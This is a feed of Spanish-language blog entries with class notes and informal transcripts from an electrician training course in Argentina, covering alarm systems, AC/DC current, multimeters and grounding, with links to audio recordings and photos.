Leiva: 70 horas pero mínimo 50 horas, o sea que podes faltar, pero yo si quiero venir no me quiero perder, porque por ahí justo hace algo de práctica y te perdés, si llueve no me comprometo a venir.
Yo: El tipo que se enojó.
Leiva: Yo pensé que estaba medio jodiendo no más.
Sebastián Melgarejo: El profe aguanta hasta que explota, no para el carro al toque. Yo apagué mi cerebro yo le escucho al profe no lo hago apropósito.
Leiva: El profesor dijo que no quiero mezclar todas las cosas porque no quiero forzar la mente de ustedes algo así.
Sebastián Melgarejo: Al profe yo le entendí pero no le entendí al muchachito.</p>
-
Electricidad / Clase 19. Sistema Alarma. Corriente Alterna/Continua. Tester multímetro, medimos continuidad. Profesor hace chistes sobre número de avogadro de un alumno de la clase anterior y se enoja con otro (Hora 1:36 y hora 1:46). La clase que viene hacemos circuito paralelo y en serie. Llevar foco incandescente.
https://imlauera.github.io/electricidad19/
Wed, 30 Apr 2025 03:43:07 -0300
https://imlauera.github.io/electricidad19/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1cAFyikGV6rm">https://vocaroo.com/1cAFyikGV6rm</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-103">https://archive.org/details/record-103</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/RPvLhFV1H4Y">https://www.youtube.com/embed/RPvLhFV1H4Y</a></p>
<h6 id="documentos-enviados-por-whatsapp-la-importancia-de-la-puesta-a-tierra">Documentos enviados por WhatsApp: (La importancia de la puesta a tierra)</h6>
<p><a href="https://archive.is/wip/oRRq6">https://archive.is/wip/oRRq6</a></p>
<p><img src="https://scontent.fpss7-1.fna.fbcdn.net/v/t39.30808-6/494277040_1763111434550034_7338506165126566287_n.jpg?_nc_cat=1&ccb=1-7&_nc_sid=aa7b47&_nc_ohc=GZt0nbLtSBEQ7kNvwGpi3Ic&_nc_oc=Adl9OEWK2x2BFrSka3fyHXJZOdOxEnt2blm78wOC9MS4vw9Ozi31DFPDt2QciV44JKhNptYCe0-hUTi67GBDwiuZ&_nc_zt=23&_nc_ht=scontent.fpss7-1.fna&_nc_gid=lA7sM6TBMzYO534drQsiOg&oh=00_AfF8A1tz2NxZ5KuEmp76KiGwRFha6km4ajZGrxNulzU4Zg&oe=681847EC" alt=""></p>
<p>Las diferencias entre los sistemas eléctricos con y sin sistemas de conexión a tierra y sus efectos cuando se producen fallas eléctricas (cortocircuitos) en dispositivos electrónicos como las lavadoras.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgplARuBd1uckqlx6Nrmmy7VzvhuM6wpsqJ9wc3kRe1Mb3c-qQiDou676qZhW4zASigsYp8g2lFgh1F6Oull-yNcsnG5AxuXj9KCWf9CJTG8p3JjYuLvaUIFtjbbDHbcwhCp-AB8ZA5FiCVBd8s4bxM7ABD1zLQ_WnXl9JJEUHm9IZNSL40Kd0h-ZVSjVA/s4160/IMG_20250429_192321455.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0Ck8IxYTTiCvwSUDgia7kmQY2ep68VqBkDqkbNK52190exVUDI8QGbTgjJkt9Uer7BJ8HN3t2j8l6rmTT96n6KhvCHpNiMTKTsPOx0MhwmBtnOMdKE4mVmGF13JUCRW6EH9BRzDMgQx8-WopdOOt10G7MNaoqCesOpgOgSm3BAABH9SxIBo9eu38n7Jw/s4160/IMG_20250429_194331884.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpVknt7TghhJd-sqGDu4AXFDohK3hz_cI-TzC-oTh3hHxi0h1N-oBSAkxqDYvXNMBsSaZwut-plw9QDEmMABkoEvkxnUlc14SZ3klHvVICjMIJVw1hHBUuPIpUQ2mkkLsjWPMP-QZ7oSCeLmJCK6hSV4VslaM3zD9GZy_6F1KBM9wdQps8OUGLpNQXtbI/s4160/IMG_20250429_194725622.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvhmPuvfNN97ZtP8al-wVQu4-DDB0-J7isR0b75lEH8MgCjpNfTPcsonp8_U1zZeHDxh5N-7eFY2I8VqitVodqMZaRiLwIX21hKaTcKMzwVBoJ6GkUvO3t0SrZkJSe_y5Fi3ZVl5HzwiDqSNzyCU51-bup-osBf6Y_6hILUu9D_Y3ZCbtTmMGXIrgQD-k/s4160/IMG_20250429_200006777.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-U6q8YbxKmPXf6ZMdZ3QlwWsCjeBDxwwzbcIoHi6sFMQdIOrK7VGRAO-VQybwe5Sqstn_aUbyrsbdjWHTSMyTacPr2lGBC2goYmOTLcg1cEk52u8iYe0Zu6l1brjCtzfRYQQhD3TuTejwMCBVzYuBH0PYFsUNKi3ZZD3DmUwXh-J1CbeCD6whpg098g/s4160/IMG_20250429_201858377.jpg" alt=""></p>
<hr>
<h6 id="minuto-01">Minuto 01</h6>
<p>Yo: Hoy vamos a dar teoría. Como ayer dimos. Buenas. <br>
Torres: Por eso tenés la batería <br>
Sebastián: Le acabo de comprar una nueva. <br>
Torres: Ah vo’ el que me contaste? <br>
Sebastián: No el señor me mandó. <br>
Torres: Vos decís que ahí tienen agua caliente? <br>
Leiva: Sí, yo recién calenté ahí está la pava eléctrica. Cargá el agua esperá 1 minuto. <br>
Torres: Le pediste a alguien? <br>
Leiva: No, no pasá a calentar no más. <br>
Torres: Le digo que vos me mandaste. <br>
Leiva: Como te lavás las manos. <br>
Sebastián Melgajero: Compré al pedo. <br>
Leiva: Como estamos. <br>
Yo: Buenas. <br>
Sebastián Melgajero: No anda el tester, cuando me compre otro tengo “pila”. <br>
Yo: Ah no anda, o sea compraste fallado? <br>
Sebastián Melgajero: No no, mi tester es viejo. <br>
Leiva: Preguntale a sábelo todo cuando llegue. <br>
Sebastián Melgajero: Cuál es el sentido de la vida? <br>
Leiva: No me refiero al profesor. <br>
Sebastián Melgajero: Capaz solo el display murió pero bueno, pero para continuidad funciona. <br>
Yo: Hay algunos que tenés que apretar el display para que se vea. <br>
AlumnoX: Eso suele tener un fusible adentro, no te fijaste? <br>
Sebastián Melgajero: Sí, está el fusible está entero. No es que no prende tiene el display cagado. <br>
Yo: Y si lo apretás, ahí no se vé? <br>
Sebastián Melgajero: Ah bueno sí. Entre dos uno aprieta el display. Aah que le habrá pasado el desuso. <br>
Yo: Se habrá caído. <br>
Sebastián Melgajero: Mm. Nadie tiene un cable de red, tiene un tester de red. <br>
Yo: Por qué tiene un cable de Internet? <br>
Sebastián Melgajero: Es un tester que aparte tiene cable de Internet, con este aparatito podés medir. <br>
Yo: Ah podes ver si anda el cable. Ah mirá vos, no sabía eso. <br>
Sebastián Melgajero: Si prende luz 1, tiene hasta 8 cables. O sea… <br>
Barrientos(Vendedor): Hoy va a venir Alejandro con un super tester. <br>
Leiva: Que le pregunté por qué no funciona (el tester). <br>
Barrientos(Vendedor): Ah eso se quema, si le medís mal se quema, si le pones menos voltaje le encajás 220 explota. <br>
Sebastián Melgajero: Pero tiene fusible, no está quemado el fusible. <br>
Barrientos(Vendedor): Y el capacitor no? Tiene que hacerle medir tiene que estar cargado también. <br>
Sebastián Melgajero: Igual estos son descartables. 13 mil está en MercadoLibre, NISUTA. <br>
Barrientos(Vendedor): Yo encargué uno en Electro uno como el profeosr. <br>
Sebastián Melgajero: 200 lucas? <br>
Barrientos(Vendedor): 17, estaba 16 ahora subió. <br>
Sebastián Melgajero: Tan barato? <br>
Barrientos(Vendedor): Y después así el comunardo 7 mil. <br>
Sebastián Melgajero: O sea si queres tener una pinza podes tener. <br>
Barrientos(Vendedor): Viste que el del profe tiene para capacitor. <br>
Yo: Ese sale más caro. <br>
Barrientos(Vendedor): Ese está 17. <br>
Yo: Pero no sé hasta que capacidad mide. Hasta cuántos microfaradios. <br>
Barrientos(Vendedor): No, este… <br>
Yo: Y capaz si te comprás uno te conviene comprar la pinza que mide amper. <br>
Sebastián Melgajero: Sí. Este yo lo usaba para el cable de red. <br>
Yo: Hoy en día la mayoría usa WiFi. <br>
Sebastián Melgajero: Al router lo tenés que cablear. <br>
Yo: Si al router pero todas las demás computadoras ya están con WiFi. <br>
Sebastián Melgajero: Igual el usuario común, pero el que sabe es el que cableado es mejor, pero el que sabe se hace el mismo. <br>
Yo: Hay WiFi 5.8 que llega hasta 200 megas (creo). <br>
Sebastián Melgajero: El 6 hasta 300. En realidad más hasta 1000, solo que en Posadas en casas 300 es el común, 300 simétrico el de Claro que viene ahora. <br>
Yo: Ah subida y bajada. <br>
Sebastián Melgajero: Sí, espectacular. <br>
Barrientos(Vendedor): Subió ya a 8 el tester. <br>
Sebastián Melgajero: Pero vos ya pediste? <br>
Barrientos(Vendedor): Y hay por 5, 6500 <br>
Leiva: Vos entraste a la página de electromisiones para? <br>
Barrientos(Vendedor): Sí. Mi hijo va al Janssen y mi compinche es el dueño de Revendé y le pregunté cuánto salía un soldador y me dijo 17 un Surich de 60 watts me fijé en Electro… <br>
Sebastián Melgajero: De electŕonica? <br>
Barrientos(Vendedor): Claro para electrónica. La otra vez me fijé en electro 9 mil pesos, fui y le compré. <br>
Sebastián Melgajero: Y le piden un mínimo de Watts? <br>
Barrientos(Vendedor): No. Viste que yo tenía uno de esos de la placita, porque yo durante años arreglé celulares tablets, tenía uno viejo que para algunas cosas no más usaba. Le dí y según él no sirve porque tardaba mucho, el profesor le cagó a pedo porque no terminaba de soldar un cable. Yo le dijé si vos sabés soldar sabés soldar con cualquier soldador. Con un clavo caliente, una pienza y 1 clavo caliente. Y supuestamente estaba por desaprobar taller por eso. Ahora tiene que sacar un 10 por lo menos, encima le di una lija, si no quiere derretir el estaño lijale la puntita y… Ya está. <br>
Leiva: Mañana hay clases? <br>
Barrientos(Vendedor): Hasta 200 microfaradios. <br>
Sebastián Melgajero: Tengo que apretarlo no más.</p>
-
Electricidad / Clase 18: [FOTOCOPIA] España apagon. Ultima parte canalizacion. Silicon. Alimentacion subterranea. Conductores, no conductores o aislantes, semiconductores. Sistema alarmas. Materia esta constituida por atomos. Proton: positivo, electrones: negativo y neutron: neutro que equilibra el nucleo. Como se genera la corriente electrica: Los electrones son de carga negativa y generan la I(intensidad de corriente electrica). La potencia es watts y la intensidad es amper. Ley de watt: PxVxcos(Fi). Ley de Ohm. Como se genera la corriente alterna. Como funcinoa represa. Definicion transformador. Como se genera el neutro: transformador tiene refrigerante por eso gotea, entra en triangulo bobina primaria secundaria. A veces pedían instalar el cartel de la alarma pero no tenian la alarma. Alarma de 2 pisos. Detector de movimiento infrarojo. Detector de rutura de vidrio. Aislate: goma(caucho), plastico, madera. Semiconductores: la mitad conduce y la otra no (un diodo por ejemplo). Emallado para que nadie pase. Calzado de seguridad que tenga suela y que sea bieléctrico. Botín con punta de PVC, acostumbrarse si estas mucho tiempo en obra. Tipos de marca zapatos. Marca Senior, Boran, etc. Las empresas están obligadas a dar 2 equipos al año (nadie cumple: 1 si tenes suerte). En la Municipalidad te dan 1 equipo (ropa GRAFA y zapato olvidalo). Usted está preparando obreros en vez de preparar profesionales: la mentalidad fue cambiando y Janssen REMERITA. Corriente alterna y continua. Bici y autos(DKW auto union) con dinamo. El electrón genera la corriente eléctrica. Como se genera una batería. Al conectar el panel solar poner un trapo adelante o sino vas a recibir descarga. Como calcular que pantalla solar usar, cuanto va a consumir por hora un equipo para sacar la pantalla. RCP en Junio. Vamos a hacer parece político. Caño mínimo a colocar 3/4 por más que el cálculo te de más chico. Martín pregunta quién está haciendo la instalación (nos robaron la changa). Los arquitecto copian y pegan otros planos con AUTOCAD por más que las bocas sean las mismas, Espeche trabajó con varios. Amigo ingeniero electricista de Espeche mandaba al propietario o al arquitecto en PDF, entonces no se podía modificar, mientras no me hagan firmar no hay problema. La municipalidad te caga te hacen rehacer el plano y te cobran y te consiguen un tipo. Pisoducto y pisotécnico. Número de avogadro XD.
https://imlauera.github.io/electricidad18/
Wed, 30 Apr 2025 03:38:22 -0300
https://imlauera.github.io/electricidad18/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/17BxVXxtlKi2">https://vocaroo.com/17BxVXxtlKi2</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-100">https://archive.org/details/record-100</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/GD1oQWwrFVI">https://www.youtube.com/embed/GD1oQWwrFVI</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_dzmLjrl2PjbwO4d19cQCvFUFpCfRkEZHCnegKfnmJ-tiiCMP-tyF87A4o1CUYak5lcO9TYD5OBP8XgKroxL0pEfOqdNoC_9q6Irtt2_vqM0U1hFd-1XzaND2BMIAjB4nxQGW1eR3ioMpPOsp-kdvakTiUeVCH8XvX1PsldTr80vc2SvSVfFXkb_afSY/s4160/WhatsApp%20Image%202025-04-28%20at%208.37.44%20PM.jpeg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh96vepcNaL5-ryq5BbXwNq8sIYKlYYVt5_tBKBhBAkZUZySi0nBHW6AXN2YkceHYoxZd7d1BjhNWFSphjKke8LYEoGBLV0oAfQw2TivrI6ZUNFlonlpvRPuC00R8a2ojF0BEWzfkjn9eEk0onbsBUDrzdFKEnfwZvDgjKOHZJsf2FjE2X3C4wK4rqbrRc/s4160/IMG_20250428_202117044.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOvl1cci1FhIEdu7Sn6r5IrW90CW2vcMlJzQjYQbmIXfJ_Bg6f1CmooQzGI-YIYgwyK0aJ9fb1T8UrS_eDFAzKo-R3yCGxyVfhOTym5aPNxQaGmJlHLI-axCFuQAjleC3DaAfO2I3E4aSfB40hh_LhAgI0Tg01vCJmYQzq3cogQGh_wOT-yMKbve3ng8U/s4160/IMG_20250428_202115645.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTzn95SDmk3ckbhn38SnA6lvV2CkvdBYRzq1QyCB7al9eIdbuP7nAdrp3Egg1S4YcYgmFAfV8sr0E-6QCY0TkP1TqK9eDbSD5zOyZfhyphenhyphenC3BddPrdhXPDjuR3FpcyJRHSSXV9scGPnwF_xFWYYIXhmfnBFxVvpG6fKhxsPq_drnO2QcxTfgQHEjF6I_cro/s4160/IMG_20250428_192556936.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOReeWA_3Ac0erKsv51IEBxVfsnPg1lnMvVXItiT2vdn0wwKkmShE3DSvOoYhr0XTedPGbQYeC8usR2gY_MHTHkzgCqQw9XhDqfHhjA5-BRkf-Kkxj27sKrH2yoboQa7tYSmn4vdoGXp0TNh5r0Ek0yRwottK5AM_gkGReGC-DhibpuLafpyGpNPxUehc/s4160/IMG_20250428_191521983_BURST001.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5Bbf0vCa5uYRx61L16HeVlKco_SQlnh10o5AvJxUkHRq_2NkYAinH7Yq5lHpqW4QyvzXswagaByLuOXfWGk26RrQrZaPkwcxP_D4wjlKq3sSOBa4lRPE5eKxp3rU6GcisSHbow2S-uuz15uJX93PJzZaSeQL1I3hPNpneI-VL71ycrs161AjjIJJwMZQ/s4160/IMG_20250428_191521983_BURST000_COVER_TOP.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNCsvbiQWsz2PcPnYN_0H2BM7vd0-fM3puhdcgqvG8qN7POePhK203vs1dk_hHxgVymwDIzWqofJjF_4R6dbAsbq6i_7qfgMWduC8_2FtQ5mO4AbQtGMd2MkxSqqo_WoFQ65d79zDse5P3kHk83GBvK6NQXDLpXGpKGs4kfRoy4qkdhHs7qtZkiTycSu8/s4160/IMG_20250428_190203900.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRRiHA-SB9M_lS4vFs1xQIghRxRqVvgZUHgumbo6LQtPaMLi69OPZ23GMmdavxMDnxrERsFElZsbZeYaElkIVQwcQFFeAL4fWANgsqpEKcREXoT6f_ZkzrVSpoxzSQPM2Az-ivI9LY2NyA0joc8kxMErBnTkFKA_lbffYQbTZq-BWnjI6VBh1LwxX3-08/s4160/IMG_20250428_182315210.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3ZqTw2G20SYHigoJAbstBxVSKiyK1HTqIbFB_rOZPXHew4b2J5zhYNUoe7D8OqwV5IknbaEWxDJwH6FgvaNU_r-0YxXLIMMArZqQBrNRSWLfdXrDT6q85rYhRIBH8KTMhUsOaCyee8mGMyASc0CcwRsJmZoItjmMU8QszoyUacpeATM7jigjRqXLA8VU/s4160/WhatsApp%20Image%202025-04-28%20at%208.17.05%20PM.jpeg" alt=""></p>
<p>Hablando mal del Ayudante(Alejandro Ramirez).</p>
<h6 id="españa-se-quedo-sin-energia-8---10-horas-casi-todo-el-pais-portugal-y-sur-de-francia">España se quedo sin energia 8 - 10 horas casi todo el pais. Portugal y sur de Francia</h6>
<p>Minuto 6:45 <br>
Botolli: Levantaron las instalaciones profe. <br>
Profesor: Ah si guardamos todo proque vienen las elecciones. <br>
Sebastian Melgarejo: Mantemos asi la mesa? <br>
Profesor: Ahora vamos a dar un poco de teoria para que ustedes se entretengan. <br>
Adrian Torres: No tenes un cargador? <br>
Sebastian Melgarejo: Inentendible. <br>
Leti Botolli: Hay para calentar ahi? (mate) <br>
Ruben Leiva: Si, hay. <br>
Profesor: Escucharon el caso de España? Hace 8/9 10 horas quedo sin electricidad gran parte del pais y casi todo el pais. Portugal y el sur de Francia.</p>
-
Electricidad / Clase 17: Alarmas. Guardar cable pasante con manguera o caño corrugado. Página 47 GUIA AEA. Saul Kuperman (director de la escuela) viene a darnos la bienvenida, habla de la vestimenta, tarjeta ieric. Si yo no tengo un soporte los peer¿? tienen la posibilidad de tener un rango de 90 grados. Profeosr trabajó con alarma X28, trabajó en eso pero no ganaba mucho. Yo se abarataron mucho los precios, la alarma más cara era X28, la gente no quiería pagar. Hay alarmas que graban a partir de algún movimiento y graba todo.
https://imlauera.github.io/electricidad17/
Wed, 23 Apr 2025 21:16:50 -0300
https://imlauera.github.io/electricidad17/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1ekttX93zXKA">https://vocaroo.com/1ekttX93zXKA</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-97">https://archive.org/details/record-97</a></p>
<h6 id="audio-en-youtube">Audio en YouTube</h6>
<p><a href="https://www.youtube.com/embed/CjxdRc7iQsw">https://www.youtube.com/embed/CjxdRc7iQsw</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3_u9KfGEhRmDuwewjWzWzeRW_YmS6XZEDRsBw81rVGDPVfTWV5NEuiO_-kJCddTHZnefka1nV3afbgXsmL0ZXEe-Z2sL3Enn1AdUV0PkOfF-ldFzvTXCIDiDnGSLjewUlhBhUHWQjLFKljdHqtoWmla3tPKWF18Y4aowuBiYaOOosjizua8Z03S_7qfg/s4160/IMG_20250423_183942934.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMimx5vj4mcEinTepW0yqxFaa6d8Lx55maTP3XeDlJb538Fx5gJTdy48fkjweRABDnKq7kc-ixf9bxExHrqBAoDrMPPulC5KmJCVyn3sRajTgZzJ50lbGiQ-KqE_nSyInxbyAjRb4gkf0XdVBRwe5RYOWhjFkpTpeGVFZB5V1tlSoMUNmZ2tlYBB3wQTo/s4160/IMG_20250423_192642379.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWU4xTKIlzRPxELMk-kIfgAJpVmyLM7T_CRgy60n0_hUuLLQ775geleJbNk4ZnvK-840km_2gG6vLqA36cDTWtDcmvVhIgmmahpVbgoGISPA-3adPk3atP3ylaM4eno9O4ieszp7hReTOyiXi7yFKu8yfWHxqp26KY9hjr4Da0Xlab6ALhLrWNBzAvZr0/s4160/IMG_20250423_195309687.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ1aDXxW2p2JZhPRco9p6YCxztoVpqhKgPzcVQySRrZnbF_YKVMat0sBD04ZeTc9ClnGuLq855PU2JE4dYtKdF11Uchrs54lpWybprv85iGxFG1oLfWj0MqMZTiJCHCOVa1n3K1s41gsHaNIrwkR7ADaYZ2RX9km3Gv0ZouazFfcCIy295AJbtZOPjcLE/s1080/IMG-20250423-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvGuXJ_Ex58mbcw6lOHECmh0qOgQ6eHXkhoyXzq5UN2hXa0wUH4HnpIDFq-df0P7K1o1IjJgBK1tM_Z0hfW8cfh3OEqhYtyFIJtOHTDp6tp4g25Xp9-Wr96kBElNpZJdZkkzCDMvRfMDjKUQt0uzh6tDVyHAL9nOWTa-2ltHFgrOG6z4M9mdMwl7FWPWM/s774/IMG-20250423-WA0002.jpg" alt=""></p>
<hr>
<h6 id="transcripción">Transcripción</h6>
<p>Gustavo Barrientos: No vas a encontrar justo un cuadrado (una maqueta). El otro día yo pasé frente del Mitre terminaban haciendo una obra y tiraban toda la madera, yo tenía que ir para otro lado cuando volví ya habían llevado todo. <br>
Leiva: Si, llevan todo. <br>
Antonio Cardozo: Llevan para ellos. <br>
Gustavo Barrientos: Sí o para otra obra. Yo veo un contenedor y ya me quedó. <br>
Leiva: Sí si, siempre hay algo. <br>
Gustavo Barrientos: El otro día fui a llevar un trompito ahí cerca de la panadería Tacuarí y se ve que le echaron a un loco y había un contenedor y un montón de cosas tirada y yo tengo una tía, mi vieja hacen manualidades entonces vienen esos botellones Dama Juana de antes: ah voy a llevar para que ellos pinten. Empiezo a mirar encuentro un cargadorcito de 12 voltios, freídora a gas todo abandonada una mugre adentro pero le guardé, una tele 20 pulgadas. <br>
Sebastián Melgarejo: Ese está bueno para video juegos videos. <br>
Gustavo Barrientos: Le dí a un compinche que arregla y vendió y fuimos a media. Y vendí 50 mil pesos la freidora, dije freidora era de mi viejo estaba guardada hace años quedó con el aceite todo y vino un vago y llevó, después el otro día iba en la moto viste? <br>
VoySebastián Melgajero: Es como encontrar 50 mil pesos en la calle. <br>
Gustavo Barrientos: Sí, el otro día iba en la moto viste hace 3/4 meses por ahí, me iba por Santa Catalina bien en frente del motel viste que hay 2 moteles creo que es Dutra la calle esa, antes de Almirante Brown, miro así al lado de un basurero un taladro de banco verde viste, frené ahí di la vuelta y decí que tiene una linga viste ese plástico ese le enganché y me fui y así le saqué una foto a reparar 50 mil llevaron, 50 mil o permuto por una garrafa y vino un vago y me pagó los 50 mil (Minuto 02:07). <br>
Sebastián Melgarejo: Ese de banco pero a motor no es a mano. <br>
Gustavo Barrientos: <strong>A motor, es de banco pero chiquito porque después está el de pie que es alto, este es de banco, es de mandril de 3 sería.</strong> <br>
Leiva: Muchas cosas que sirven podes encontrar en un contenedor si la gente tira no más. <br>
Gustavo Barrientos: Y el cargadorcito ese llegué y enfuché, el cargador de batería, una batería de auto 6 voltios 12 voltios así chiquitito, de 10, hasta hoy uso, tarda un poquito para auto tiene que cargar una noche. <br>
Leiva: Y publicaron ¿? Ruido (Minuto 03:21) <br>
Gustavo Barrientos: A mi me gusta las Eco, tengo 2 jeep, los jeeps viejos y ese cuando queres arrancar tenes que poner la batería… <br>
Habla Antonio Cardozo y Martin de un accidente al parecer. <br>
Sebastián Melgajero: Capaz estiramos la mesa y se desarma todo (tablero armado clase anterior), separamos las 2 mesas así. Decí que nadie tocó. Esto haces en una primaria y te… Ni se puede hacer directamente. <br>
Leticia Botolli: No. <br>
Habla Antonio Cardozo y Martin de un accidente al parecer. <br>
Leticia Botolli: No llega Internet ni para ver el reporte del tiempo, yo me conectaba el año pasado pero parece que hasta acá no llega. <br>
* Llegan las chicas (Margarita y Daniela) <br>
Profesor: Como andan, yo soy el cachero así que no se preocupen. Bueno vamos a hacer algo por la patria. Yo sé que otra compañera envió un manual… <br>
Botolli: Ah si, imprimí las hojas más importantes profe. <br>
Profesor: Ahora vamos a mirar un poco, voy a esquematizar algo rápido y después vemos ahí. <br>
Botolli: Me pidió que instale eso ¿?(Minuto 10) de una amiga, con ayuda se compró una alarma y ahora… Voy a probar <br>
Profesor: Ahí vi que están haciendo ahí adelante la radio así que. <br>
Ayudante(Alejandro): En donde desaparecieron caños se ¿? <br>
Profesor: Eso se habrán desaparecido los caños, pero lo que vamos a hacer es ir a mirar para ver como hace la otra gente, ellos supuestamente cobran por eso así que… Le voy a pedir la llave ahí que me abra espero que la puerta esa por lo menos <br>
Ayudante(Alejandro): Ya esté instalada. <br>
Profesor: Claro, porque ahora viste que instalaron ayer no vaya ser que justo tocamos nosotros y se cae, entonces espero que ellos abran primero y ahí trabajaremos nosotros en ese sistema ahí.</p>
-
Electricidad / Clase 16 / Clase práctica. Armamos distribución
https://imlauera.github.io/electricidad16/
Wed, 23 Apr 2025 13:43:51 -0300
https://imlauera.github.io/electricidad16/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1hjLQYyLQIkS">https://vocaroo.com/1hjLQYyLQIkS</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-94">https://archive.org/details/record-94</a></p>
<h6 id="audio-en-youtube">Audio en YouTube</h6>
<p><a href="https://www.youtube.com/embed/rDrnbLd95v0">https://www.youtube.com/embed/rDrnbLd95v0</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR2oDACyxHDQ0bJvEQ82OSugA5G6bHJnpdM5ARc7IXawIqUfoDq5oiy3rIiS5js7FBkxkmfI2GLviJAq7z6W6Fz_og3e41SpbRf-pceV89KXQLKBPQ2RvDaOFEngWuxG5n3K2swp449Y5oxW6T-hObmnYIO4gtEhaElEXVfZs_RIKt9Bz_F1Ict7CL4sM/s1536/fed64637-9be9-4ca9-ac1e-7bdfb85c73b5.png" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzIvZGrzx4Q3JNdf3Zv5TYOnbkopNYTT3U-wsvd6cTkuY64XbcawrzjA7nlVpjx0k84fGFoRRK4QZNElMqGtzHkvUBRrRYaFmvEJlGFzWvTXL7N797ClumK-yc_dhSC3pipl0RnSRShovvyEJ8Piqy_75xxObnDrcT4hAiqy6pxSukKSADUMDjG6dkVCI/s4160/IMG-20250422-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQRRQOzAZXqfseZiKN2JHjVqB00VfM58DPjDju-471DMBC67pSjPtMhvRDo36GRe94t_RCHKAvl4s9eG8jbbNbpWfKKAW3KPnl5a8nH0ML3OTeXIZn2ViYiNTZ9jRbqUJQFDt8pPC5YsgsSm0JMNrGg2uhA1-GW_-KNITIWXsPRVen92C6EIhxvcar5wg/s4160/IMG-20250422-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_fpwMakstx49Q84JBHcJhUVMeU2uIjbX6EDfJFe1MCVGzGVhLOwehLHiR07IzI3l7hB7krHMwvN_tUQ_c_VMtmAxPBymS0-KpjGyFIpX-R3wSn8Fb89KJ-AzbTy-pTbW4SW45pjfGVDLwMurWEImxSm-x1Z_XLLxTA9oDv_Y5PhjvHgULnrKXdxdPUNo/s4160/IMG-20250422-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipbrhP8HZqjOvu_grVR7MLuUbfPdRIIwkBI5Ykr4VJj6aSbCNvnn9qh8tCvjALhkJ8MtMP_FzyCCXBo8OHhdI2PZuOlhNjgTcmsRicuKE5GYJm4opGiDGJ1BvCOM-s2RfWA0CzVJ8_Wionh6_SPsoM443LuefBwV6LraFE0_XG237pn7tuD18zm4RGCCo/s4160/IMG_20250422_191130856.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFH3du8qTE73FDZ6DDC-3kn1RoHbPmIiX25l-EDGhwp9ZYMm9Pk0LoThlH6M5YVnXJw7RU_f7CGRsxzCWxxqJM0ljGzwh3Me1lpEQx5dxhheE-0sDynTZbOuLYYIDI72YDRZ_CBw0N43lVJRtTplJcpXQ7Q3gogQLOVGe18rE5B4FTOH3-9JVdCEI9PaA/s4160/IMG_20250422_191449951.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-0Q7Q6y5D2V3DvtW1zF94pUm3R-sUAmOJQCm3mMiqrQjzwOYAIZyaJNgL1o7wr2Kx-RKEQBU5vvMlyYSDt2kBI20Tc-iHWahOyj9RRxTGPTfYA72SgD9CYGa4Yo_kiI1r6bzpJdILSpMIWqhywc_V_h3yKtXVyeRHrxbZTe7JM06_ewTjgPIpCfSfJKo/s4160/IMG_20250422_191934667_BURST000_COVER_TOP.jpg" alt="">
